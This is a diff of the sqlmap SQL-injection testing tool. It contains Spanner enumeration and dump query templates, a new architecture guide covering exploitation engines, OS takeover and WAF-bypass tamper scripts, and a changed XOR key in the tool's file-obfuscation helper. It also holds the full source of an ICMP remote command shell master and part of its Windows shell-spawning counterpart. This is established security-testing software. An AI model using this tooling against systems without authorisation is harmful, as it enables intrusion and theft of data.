+        <current_db/>
+        <hostname/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba/>
+        <users/>
+        <passwords/>
+        <privileges/>
+        <roles/>
+        <statements>
+            <inband query="SELECT text FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE"/>
+            <blind query="SELECT text FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE" count="SELECT COUNT(text) FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE"/>
+        </statements>
+        <dbs>
+            <inband query="SELECT CASE schema_name WHEN '' THEN 'default' ELSE schema_name END FROM INFORMATION_SCHEMA.SCHEMATA"/>
+            <blind query="SELECT CASE schema_name WHEN '' THEN 'default' ELSE schema_name END FROM INFORMATION_SCHEMA.SCHEMATA GROUP BY schema_name ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT schema_name) FROM INFORMATION_SCHEMA.SCHEMATA"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT CASE table_schema WHEN '' THEN 'default' ELSE table_schema END,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
+            <blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY table_name" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END"/>
+        </tables>
+        <columns>
+            <inband query="SELECT column_name,spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
+            <blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY column_name" query2="SELECT spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s ORDER BY schema_name" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s ORDER BY table_schema" query2="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
+        </search_column>
+    </dbms>
 </root>

doc/ARCHITECTURE.md

@@ -0,0 +1,237 @@
+# sqlmap architecture
+
+A contributor-oriented map of how sqlmap is put together: the major components,
+how a run flows through them, and where to start looking for a given concern.
+
+> This is a map, not a spec. It describes the durable structure and data flow; for
+> exact signatures, option names, and enumerable lists (tampers, DBMSes, options),
+> the source is authoritative. **When this document disagrees with the code, the code wins.**
+
+sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal
+non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and
+`thirdparty/six`.
+
+---
+
+## 1. Entry points
+
+| Entry | File | Purpose |
+|-------|------|---------|
+| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. |
+| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. |
+
+`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for
+quirks/security - see below), `setPaths()`, `init()` (option parsing + environment
+setup), then dispatches to `start()` for a normal scan, or to the self-tests
+(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`.
+
+---
+
+## 2. Global state: `conf` and `kb`
+
+Almost everything hangs off two process-global singletons defined in `lib/core/data.py`,
+both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`):
+
+- **`conf`** - the resolved user configuration (options + derived settings). What the
+  user asked for.
+- **`kb`** ("knowledge base") - mutable runtime state discovered during a run
+  (identified DBMS, injection points, page templates, caches, locks, counters).
+
+The configuration pipeline (`lib/core/`):
+
+- `parse/cmdline.py` - argparse definition of every CLI option.
+- `core/optiondict.py` - option name -> type map (used for config-file/API coercion).
+- `core/defaults.py` - default values.
+- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`,
+  `_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding
+  setup, etc. Merges CLI + config file + defaults into `conf`/`kb`.
+- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.**
+
+Identifiers in the codebase are camelCase.
+
+---
+
+## 3. Top-level layout
+
+| Path | Responsibility |
+|------|----------------|
+| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing |
+| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) |
+| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing |
+| `lib/techniques/` | the exploitation engines: `blind/inference.py`, `error/use.py`, `union/{test,use}.py`, `dns/` |
+| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) |
+| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... |
+| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` |
+| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes |
+| `plugins/dbms/<dbms>/` | per-DBMS subclasses + dialect (one dir per supported DBMS) |
+| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file |
+| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` |
+| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) |
+| `tests/` | stdlib-unittest suite (offline); see section 11 |
+| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime |
+| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) |
+
+---
+
+## 4. The scan lifecycle (`lib/controller/controller.py: start()`)
+
+For each target:
+
+1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`):
+   resolve URL/params, open the per-target output dir and session file
+   (`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points,
+   cached values) from the session.
+2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`,
+   `checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` /
+   dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`).
+3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint).
+4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by
+   the data engine (section 5). Confirmed points are appended to `kb.injections`.
+5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the
+   back-end DBMS and assigns `conf.dbmsHandler`, the object through which all
+   enumeration is dispatched (section 7).
+6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation
+   (`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to
+   `conf.dbmsHandler` methods, and feeds results to `conf.dumper`.
+
+If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`,
+`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as
+`SqlmapNotVulnerableException`.
+
+---
+
+## 5. The data-driven detection engine
+
+Detection behavior lives in **data, not code** - `data/xml/`, loaded by
+`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`):
+
+- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the
+  clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts).
+- **`payloads/*.xml`** - the *tests*, one file per technique
+  (`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`,
+  `union_query`), each with the request template and the comparison/grep logic that
+  decides success.
+
+`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the
+identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`)
+forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/
+`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via
+`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false
+by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`,
+plus titles/errors/HTTP-code signals).
+
+---
+
+## 6. Exploitation techniques
+
+Once a parameter is injectable, value extraction is dispatched by
+`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`:
+
+| Technique | Engine | Mechanism |
+|-----------|--------|-----------|
+| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle |
+| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay |
+| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error |
+| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction |
+| inline query | (inline, via inject) | value embedded in the original query position |
+| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel |
+
+`bisection()` is the hot loop; it caches the `--charset` table in
+`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch
+(intentional). Multi-threaded extraction is coordinated via `kb.locks` and
+`getCurrentThreadData()` (`lib/core/threads.py`).
+
+---
+
+## 7. DBMS abstraction
+
+Enumeration is DBMS-agnostic at the top and specialized underneath:
+
+- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`,
+  `enumeration.py`, `databases.py`, `entries.py`, `users.py`, `filesystem.py`,
+  `takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py`
+  (direct DB connection for `-d`).
+- **`plugins/dbms/<dbms>/`** - one directory per supported DBMS, subclassing the generic
+  pieces and supplying dialect specifics.
+- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table
+  enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name;
+  the dialect comes from XML.
+
+`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into.
+
+---
+
+## 8. Output and session
+
+- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables
+  plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging
+  is via `logger` (`lib/core/log.py`).
+- **Session / resume** - each target gets a SQLite session file
+  (`<output>/<host>/session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()`
+  (`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points,
+  fingerprint, and extracted values so a re-run *resumes* instead of re-testing
+  (`--flush-session` discards it; `--fresh-queries` ignores cached query results). A
+  stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`.
+
+---
+
+## 9. Request layer and tampering
+
+`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it:
+protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`,
+persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the
+comparison oracle (`comparison.py`).
+
+**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS.
+Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c`
+chains them in priority order. They are payload-string transforms only (no engine
+coupling), which is why they compose freely.
+
+---
+
+## 10. REST API and JSON report
+
+`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as
+subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry),
+an IPC SQLite `Database` (the subprocess writes results/logs/errors back through
+`StdDbOut`), and the route handlers (`/task/*`, `/option/*`, `/scan/*`, `/version`, ...).
+The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`.
+
+`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`)
+that the `/scan/<id>/data` endpoint uses, so the CLI report and the API result can't
+drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer).
+
+---
+
+## 11. Tests and self-tests
+
+Two complementary layers:
+
+- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip),
+  green on py2 + py3. `_testutils.py` bootstraps global state and provides the
+  property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run:
+  `python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc`
+  makes a `getFileType(__file__)` doctest see `binary`).
+- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test`
+  (doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against
+  the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow
+  (`.github/workflows/tests.yml`) runs all of these.
+
+---
+
+## 12. "Where do I start for ...?"
+
+| I want to change... | Start in |
+|---------------------|----------|
+| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) |
+| a constant/threshold | `lib/core/settings.py` |
+| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` |
+| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine |
+| the true/false decision | `lib/request/comparison.py` |
+| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms/<dbms>/` |
+| enumeration behavior | `plugins/generic/*.py` |
+| dump/output format | `lib/core/dump.py` |
+| a WAF-bypass transform | add a file under `tamper/` |
+| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) |
+| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` |
+| a stdlib monkey-patch / security shim | `lib/core/patch.py` |

doc/AUTHORS

@@ -1,7 +1,7 @@
-Bernardo Damele Assumpcao Guimaraes (@inquisb)
-<[email protected]>
-
-Miroslav Stampar (@stamparm)
-<[email protected]>
-
-You can contact both developers by writing to [email protected]
+Bernardo Damele Assumpcao Guimaraes (@inquisb)
+<[email protected]>
+
+Miroslav Stampar (@stamparm)
+<[email protected]>
+
+You can contact both developers by writing to [email protected]

doc/THANKS.md

@@ -175,7 +175,7 @@ Ivan Giacomelli, <truemilk(at)insiberia.net>
 * for reviewing the documentation
 
 Dimitris Giannitsaros, <daremon(at)gmail.com>
-* for contributing a REST-JSON API client
+* for contributing a REST API client
 
 Nico Golde, <nico(at)ngolde.de>
 * for reporting a couple of bugs
@@ -194,9 +194,6 @@ David Guimaraes, <skysbsb(at)gmail.com>
 * for reporting considerable amount of bugs
 * for suggesting several features
 
-Chris Hall, <chris.hall(at)mod10.net>
-* for coding the prettyprint.py library
-
 Tate Hansen, <tate(at)clearnetsec.com>
 * for donating to sqlmap development
 
@@ -535,6 +532,9 @@ Duarte Silva <duarte.silva(at)serializing.me>
 M Simkin, <mlsimkin(at)cox.net>
 * for suggesting a feature
 
+Tanaydin Sirin, <tanaydinsirin(at)gmail.com>
+* for implementation of ncurses TUI (switch --tui)
+
 Konrads Smelkovs, <konrads(at)smelkovs.com>
 * for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server
 

doc/THIRD-PARTY.md

@@ -15,9 +15,7 @@ This file lists bundled packages and their associated licensing terms.
   Copyright (C) 2013, Jonathan Hartley.
 * The `Fcrypt` library located under `thirdparty/fcrypt/`.
   Copyright (C) 2000, 2001, 2004 Carey Evans.
-* The `PrettyPrint` library located under `thirdparty/prettyprint/`.
-  Copyright (C) 2010, Chris Hall.
-* The `SocksiPy` library located under `thirdparty/socks/`.
+* The `PySocks` library located under `thirdparty/socks/`.
   Copyright (C) 2006, Dan-Haim.
 
 ````
@@ -48,8 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 
 * The `Chardet` library located under `thirdparty/chardet/`.
   Copyright (C) 2008, Mark Pilgrim.
-* The `KeepAlive` library located under `thirdparty/keepalive/`.
-  Copyright (C) 2002-2003, Michael D. Stenner.
 * The `MultipartPost` library located under `thirdparty/multipart/`.
   Copyright (C) 2006, Will Holcomb.
 * The `icmpsh` tool located under `extra/icmpsh/`.
@@ -271,13 +267,13 @@ be bound by the terms and conditions of this License Agreement.
 # MIT
 
 * The `bottle` web framework library located under `thirdparty/bottle/`.
-  Copyright (C) 2012, Marcel Hellkamp.
+  Copyright (C) 2024, Marcel Hellkamp.
 * The `identYwaf` library located under `thirdparty/identywaf/`.
-  Copyright (C) 2019-2020, Miroslav Stampar.
+  Copyright (C) 2019-2021, Miroslav Stampar.
 * The `ordereddict` library located under `thirdparty/odict/`.
   Copyright (C) 2009, Raymond Hettinger.
 * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
-  Copyright (C) 2010-2018, Benjamin Peterson.
+  Copyright (C) 2010-2024, Benjamin Peterson.
 * The `Termcolor` library located under `thirdparty/termcolor/`.
   Copyright (C) 2008-2011, Volvox Development Team.
 

doc/translations/README-ar-AR.md

@@ -58,7 +58,7 @@
 ----
 
 * الصفحة الرئيسية: https://sqlmap.org
-* التحميل: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* التحميل: [‪.tar.gz‬](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [‪.zip‬](https://github.com/sqlmapproject/sqlmap/zipball/master)
 * تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
 * تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues
 * دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki

extra/cloak/cloak.py

@@ -21,7 +21,7 @@ if sys.version_info >= (3, 0):
     xrange = range
     ord = lambda _: _
 
-KEY = b"wr36EPIvaR7ZDfb4"
+KEY = b"ZCuk6GdHSj4KtgDq"
 
 def xor(message, key):
     return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
@@ -43,8 +43,6 @@ def decloak(inputFile=None, data=None):
         print(ex)
         print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
         sys.exit(1)
-    finally:
-        f.close()
 
     return data
 

extra/icmpsh/icmpsh-m.c

@@ -1,134 +1,134 @@
-/*
- *   icmpsh - simple icmp command shell
- *   Copyright (c) 2010, Nico Leidecker <[email protected]>
- *   This program is free software: you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation, either version 3 of the License, or
- *   (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <netinet/in.h>
-#include <netinet/ip_icmp.h>
-#include <netinet/ip.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-
-#define IN_BUF_SIZE   1024
-#define OUT_BUF_SIZE  64
-
-// calculate checksum
-unsigned short checksum(unsigned short *ptr, int nbytes)
-{
-    unsigned long sum;
-    unsigned short oddbyte, rs;
-
-    sum = 0;
-    while(nbytes > 1) {
-        sum += *ptr++;
-        nbytes -= 2;
-    }
-
-    if(nbytes == 1) {
-        oddbyte = 0;
-        *((unsigned char *) &oddbyte) = *(u_char *)ptr;
-        sum += oddbyte;
-    }
-
-    sum  = (sum >> 16) + (sum & 0xffff);
-    sum += (sum >> 16);
-    rs = ~sum;
-    return rs;
-}
-
-int main(int argc, char **argv)
-{
-    int sockfd;
-    int flags;
-    char in_buf[IN_BUF_SIZE];
-    char out_buf[OUT_BUF_SIZE];
-    unsigned int out_size;
-    int nbytes;
-    struct iphdr *ip;
-    struct icmphdr *icmp;
-    char *data;
-    struct sockaddr_in addr;
-
-
-    printf("icmpsh - master\n");
-    
-    // create raw ICMP socket
-    sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
-    if (sockfd == -1) {
-       perror("socket");
-       return -1;
-    }
-
-    // set stdin to non-blocking
-    flags = fcntl(0, F_GETFL, 0);
-    flags |= O_NONBLOCK;
-    fcntl(0, F_SETFL, flags);
-
-    printf("running...\n");
-    while(1) {
-
-        // read data from socket
-        memset(in_buf, 0x00, IN_BUF_SIZE);
-        nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
-        if (nbytes > 0) {
-            // get ip and icmp header and data part
-            ip = (struct iphdr *) in_buf;
-            if (nbytes > sizeof(struct iphdr)) {
-                nbytes -= sizeof(struct iphdr);
-                icmp = (struct icmphdr *) (ip + 1);
-                if (nbytes > sizeof(struct icmphdr)) {
-                    nbytes -= sizeof(struct icmphdr);
-                    data = (char *) (icmp + 1);
-                    data[nbytes] = '\0';
-                    printf("%s", data);
-                    fflush(stdout);
-                }
-                
-                // reuse headers
-                icmp->type = 0;
-                addr.sin_family = AF_INET;
-                addr.sin_addr.s_addr = ip->saddr;
-        
-                // read data from stdin
-                nbytes = read(0, out_buf, OUT_BUF_SIZE);
-                if (nbytes > -1) {
-                    memcpy((char *) (icmp + 1), out_buf, nbytes);
-                    out_size = nbytes;
-                } else {
-                    out_size = 0;
-                }
-
-                icmp->checksum = 0x00;
-                icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
-
-                // send reply
-                nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
-                if (nbytes == -1) {
-                    perror("sendto");
-                    return -1;
-                }        
-            }
-        }
-    }
-
-    return 0;
-}
-
+/*
+ *   icmpsh - simple icmp command shell
+ *   Copyright (c) 2010, Nico Leidecker <[email protected]>
+ *   This program is free software: you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation, either version 3 of the License, or
+ *   (at your option) any later version.
+ *
+ *    This program is distributed in the hope that it will be useful,
+ *    but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *    GNU General Public License for more details.
+ *
+ *    You should have received a copy of the GNU General Public License
+ *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <netinet/in.h>
+#include <netinet/ip_icmp.h>
+#include <netinet/ip.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+
+#define IN_BUF_SIZE   1024
+#define OUT_BUF_SIZE  64
+
+// calculate checksum
+unsigned short checksum(unsigned short *ptr, int nbytes)
+{
+    unsigned long sum;
+    unsigned short oddbyte, rs;
+
+    sum = 0;
+    while(nbytes > 1) {
+        sum += *ptr++;
+        nbytes -= 2;
+    }
+
+    if(nbytes == 1) {
+        oddbyte = 0;
+        *((unsigned char *) &oddbyte) = *(u_char *)ptr;
+        sum += oddbyte;
+    }
+
+    sum  = (sum >> 16) + (sum & 0xffff);
+    sum += (sum >> 16);
+    rs = ~sum;
+    return rs;
+}
+
+int main(int argc, char **argv)
+{
+    int sockfd;
+    int flags;
+    char in_buf[IN_BUF_SIZE];
+    char out_buf[OUT_BUF_SIZE];
+    unsigned int out_size;
+    int nbytes;
+    struct iphdr *ip;
+    struct icmphdr *icmp;
+    char *data;
+    struct sockaddr_in addr;
+
+
+    printf("icmpsh - master\n");
+    
+    // create raw ICMP socket
+    sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
+    if (sockfd == -1) {
+       perror("socket");
+       return -1;
+    }
+
+    // set stdin to non-blocking
+    flags = fcntl(0, F_GETFL, 0);
+    flags |= O_NONBLOCK;
+    fcntl(0, F_SETFL, flags);
+
+    printf("running...\n");
+    while(1) {
+
+        // read data from socket
+        memset(in_buf, 0x00, IN_BUF_SIZE);
+        nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
+        if (nbytes > 0) {
+            // get ip and icmp header and data part
+            ip = (struct iphdr *) in_buf;
+            if (nbytes > sizeof(struct iphdr)) {
+                nbytes -= sizeof(struct iphdr);
+                icmp = (struct icmphdr *) (ip + 1);
+                if (nbytes > sizeof(struct icmphdr)) {
+                    nbytes -= sizeof(struct icmphdr);
+                    data = (char *) (icmp + 1);
+                    data[nbytes] = '\0';
+                    printf("%s", data);
+                    fflush(stdout);
+                }
+                
+                // reuse headers
+                icmp->type = 0;
+                addr.sin_family = AF_INET;
+                addr.sin_addr.s_addr = ip->saddr;
+        
+                // read data from stdin
+                nbytes = read(0, out_buf, OUT_BUF_SIZE);
+                if (nbytes > -1) {
+                    memcpy((char *) (icmp + 1), out_buf, nbytes);
+                    out_size = nbytes;
+                } else {
+                    out_size = 0;
+                }
+
+                icmp->checksum = 0x00;
+                icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
+
+                // send reply
+                nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
+                if (nbytes == -1) {
+                    perror("sendto");
+                    return -1;
+                }        
+            }
+        }
+    }
+
+    return 0;
+}
+

extra/icmpsh/icmpsh-s.c

@@ -1,344 +1,344 @@
-/*
- *   icmpsh - simple icmp command shell
- *   Copyright (c) 2010, Nico Leidecker <[email protected]>
- *   This program is free software: you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation, either version 3 of the License, or
- *   (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
- */
-
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <winsock2.h>
-#include <windows.h>
-#include <winsock2.h>
-#include <iphlpapi.h>
-
-#define ICMP_HEADERS_SIZE	(sizeof(ICMP_ECHO_REPLY) + 8)
-
-#define STATUS_OK					0
-#define STATUS_SINGLE				1
-#define STATUS_PROCESS_NOT_CREATED	2
-
-#define TRANSFER_SUCCESS			1
-#define TRANSFER_FAILURE			0
-
-#define DEFAULT_TIMEOUT			    3000
-#define DEFAULT_DELAY			    200
-#define DEFAULT_MAX_BLANKS	   	    10
-#define DEFAULT_MAX_DATA_SIZE	    64
-
-FARPROC icmp_create, icmp_send, to_ip;
-
-int verbose = 0;
-
-int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
-{
-	SECURITY_ATTRIBUTES sattr;
-	STARTUPINFOA si;
-	HANDLE in_read, out_write;
-
-	memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
-	memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
-    
-	// create communication pipes  
-	memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
-	sattr.nLength = sizeof(SECURITY_ATTRIBUTES); 
-	sattr.bInheritHandle = TRUE; 
-	sattr.lpSecurityDescriptor = NULL; 
-
-	if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
-		return STATUS_PROCESS_NOT_CREATED;
-	}
-	if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
-		return STATUS_PROCESS_NOT_CREATED;
-	}
-
-	if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
-		return STATUS_PROCESS_NOT_CREATED;
-	}
-	if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
-		return STATUS_PROCESS_NOT_CREATED;
-	}
-
-	// spawn process
-	memset(&si, 0x00, sizeof(STARTUPINFO));
-	si.cb = sizeof(STARTUPINFO); 
-	si.hStdError = out_write;
-	si.hStdOutput = out_write;
-	si.hStdInput = in_read;
-	si.dwFlags |= STARTF_USESTDHANDLES;
-
